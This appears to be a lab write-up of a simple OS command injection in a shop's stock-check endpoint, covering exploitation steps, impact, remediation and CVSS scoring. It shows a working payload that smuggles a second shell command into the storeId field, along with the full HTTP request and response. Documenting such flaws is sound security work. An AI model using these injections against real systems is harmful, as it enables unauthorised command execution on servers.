

Title of Issue

OS Command Injection — Simple Case

Description

The application's product stock-check feature is vulnerable to OS command injection. User-supplied input in the `storeId` parameter is passed directly to a shell command executed on the server without sanitization. An attacker can append arbitrary OS commands using standard shell operators and have them executed with the privileges of the web server process.

The backend constructs a shell call similar to:

```
/usr/bin/stockcheck <productId> <storeId>
```

By injecting a pipe (`|`) or ampersand (`&`) operator into `storeId` , the attacker can execute arbitrary commands on the underlying server.

Affected Endpoint: `POST /product/stock` **Vulnerable Parameters:** `storeId`

Steps to Exploit

1. Navigate to any product detail page in the shop.
2. Locate the **Check stock** form at the bottom of the product page.
3. Intercept the `POST /product/stock` request (using a proxy or browser developer tools).
4. Observe the request body: `productId=1&storeId=1` .
5. Modify the `storeId` parameter to inject a command:

```
storeId=1|whoami
```

6. Forward the modified request.
 7. Observe the response — the output of the `whoami` command is returned alongside (or instead of) the stock quantity.
-

Proof of Concept

Payload:

```
productId=1&storeId=1|whoami
```

HTTP Request:

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

productId=1&storeId=1|whoami
```

HTTP Response (excerpt):

peter-ZSv8WY

The pipe operator (`|`) causes the shell to execute `whoami` after the stockcheck binary. The output of `whoami` is returned directly in the HTTP response body, confirming arbitrary command execution on the server.

Additional commands tested:

- `1|id` → returns `uid=1000(peter-...)` confirming server identity
- `1|uname+--a` → returns OS kernel information

Impact

- Remote Code Execution (RCE) on the web server.
- Full server compromise — the attacker can read, write, or delete any file accessible to the web process.
- Lateral movement to internal network systems.
- Exfiltration of sensitive data including application source code, credentials, and database secrets.
- Potential for persistent backdoor installation or ransomware deployment.

Mitigation / Remediation

1. **Avoid passing user input to OS commands entirely** — use native language APIs or libraries instead of shell invocation.
2. **If shell execution is necessary, use an allowlist** — only permit strictly validated inputs (e.g., integer store IDs).
3. **Sanitize and escape all shell metacharacters** (`|` , `&` , `;` , `$` , ``` , `\` , `(` , `)` , `<` , `>`) before use in any shell context.
4. **Run the web server process with minimal OS privileges** — use a dedicated low-privilege user.
5. **Implement egress filtering** to prevent the server from making outbound connections to attacker infrastructure.

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP request
Attack Complexity	Low	Simple payload, no prerequisites
Privileges Required	None	Stock check is unauthenticated
User Interaction	None	No victim interaction required
Scope	Unchanged	Impact within the server OS context
Confidentiality Impact	High	Full file system read access

Integrity Impact	High	Attacker can write/delete files, install malware
Availability Impact	High	Attacker can kill processes or destroy data